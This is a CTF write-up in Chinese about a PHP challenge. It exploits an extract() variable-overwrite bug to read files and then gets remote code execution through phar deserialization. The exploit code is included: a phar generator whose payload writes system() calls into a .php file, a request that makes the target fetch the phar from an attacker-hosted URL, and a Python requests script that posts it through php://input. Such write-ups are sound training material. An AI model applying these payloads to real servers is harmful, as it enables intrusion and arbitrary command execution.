<?php error_reporting(E_ALL); $sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']); if(!is_dir($sandbox)) { mkdir($sandbox); } include_once('template.php'); $template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl'); if(isset($_GET['var']) && is_array($_GET['var'])) { extract($_GET['var'], EXTR_OVERWRITE); } else { highlight_file(__file__); die(); } if(isset($_GET['tp'])) { $tp = $_GET['tp']; if (array_key_exists($tp, $template) === FALSE) { echo "No! You only have 3 template to reader"; die(); } $content = file_get_contents($template[$tp]); $temp = new Template($content); } else { echo "Please choice one template to reader"; } ?>
因为$tp
可控,且存在变量覆盖漏洞(extract($_GET['var'], EXTR_OVERWRITE);
),所以可以覆盖掉$template
的第一个元素的键值,达到读取任意文件的效果。读取template.php:
http://8.129.41.25:10305/?var[template][tp1]=/var/www/html/template.php&tp=tp1
得到源代码如下:
<?php class Template{ public $content; public $pattern; public $suffix; public function __construct($content){ $this->content = $content; $this->pattern = "/{{([a-z]+)}}/"; $this->suffix = ".html"; } public function __destruct() { $this->render(); } public function render() { while (True) { if(preg_match($this->pattern, $this->content, $matches)!==1) break; global ${$matches[1]}; if(isset(${$matches[1]})) { $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content); } else{ break; } } if(strlen($this->suffix)>5) { echo "error suffix"; die(); } $filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix; file_put_contents($filename, $this->content); echo "Your html file is in " . $filename; } } ?>
看到file_put_contents
本意是想写🐎来着,但是$filename
不可控,且$suffix
变量锁死了,怎么都写不出php。卡了好久。
方法一
虽然这道题无上传文件的地方,但是存在文件读取函数(file_get_contents
)且参数可控,又因为有可以利用的魔术方法,有file_get_contents
函数,且没有过滤“phar”、“:”、“/”等关键字,所以可以利用phar进行反序列化RCE(感谢Match师傅,我是笨比)。
构造phar文件:
<?php class Template{ public $content; public $pattern; public $suffix; public function __construct($content){ $this->content = '<?php system("ls /");?>'; $this->pattern = ""; $this->suffix = ".php"; } } $o = new Template("123"); $filename = 'poc.phar'; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("shaw.txt",'test'); $phar->stopBuffering(); ?>
生成phar文件后,把它放公网服务器上,然后利用题目的$var的变量覆盖漏洞,将$template
的第一个元素的键值覆盖成该phar文件的地址:
http://8.129.41.25:10305/?var[template][tp1]=http://ip/poc.phar&tp=tp1
Your html file is in /var/www/html/uploads/xxx/xxx.html
这样就把poc.phar写进了html里,再将回显的绝对路径用phar://伪协议
去访问,其覆盖掉了原先Template类中变量值,(”.html”也变成”.php”了)得到php文件。
访问php文件,得到命令(<?php system("ls");?>
)执行后的结果:

同理,可执行<?php system("/readflag");?>
得到flag。
方法二(正解)
和上面差不多,不过不需要公网服务器传了,是比赛时想到的方法。
可以将$template
的第一个元素的值赋为php://input
,其值就为POST的数据。
Template类中有这样一段:
while (True) { if(preg_match($this->pattern, $this->content, $matches)!==1) break; global ${$matches[1]}; if(isset(${$matches[1]})) { $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content); } else{ break; } }
必须让$content
不满足$pattern
的值的匹配条件,否则会退出。但是不满足的话,$matches[1]
的值为NULL,为空则break:
if(isset(${$matches[1]})) { $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content); } else{ break; }
利用$var
的变量覆盖漏洞,就达到既不满足匹配条件又给$matches[1]
赋值的目的。python测试脚本如下:
shaw = open(r"poc.phar",'rb') url = "http://8.129.41.25:10305/?var[template][tp1]=php://input&var[matches][1]=123&tp=tp1" a = requests.post(url=url,data=shaw.read()) #print(a.text) url2 = "http://8.129.41.25:10305/?var[template][tp1]=phar:///var/www/html/uploads/xxx/xxx.html&tp=tp1" b = requests.get(url2) #print(b.text)
剩下同方法一。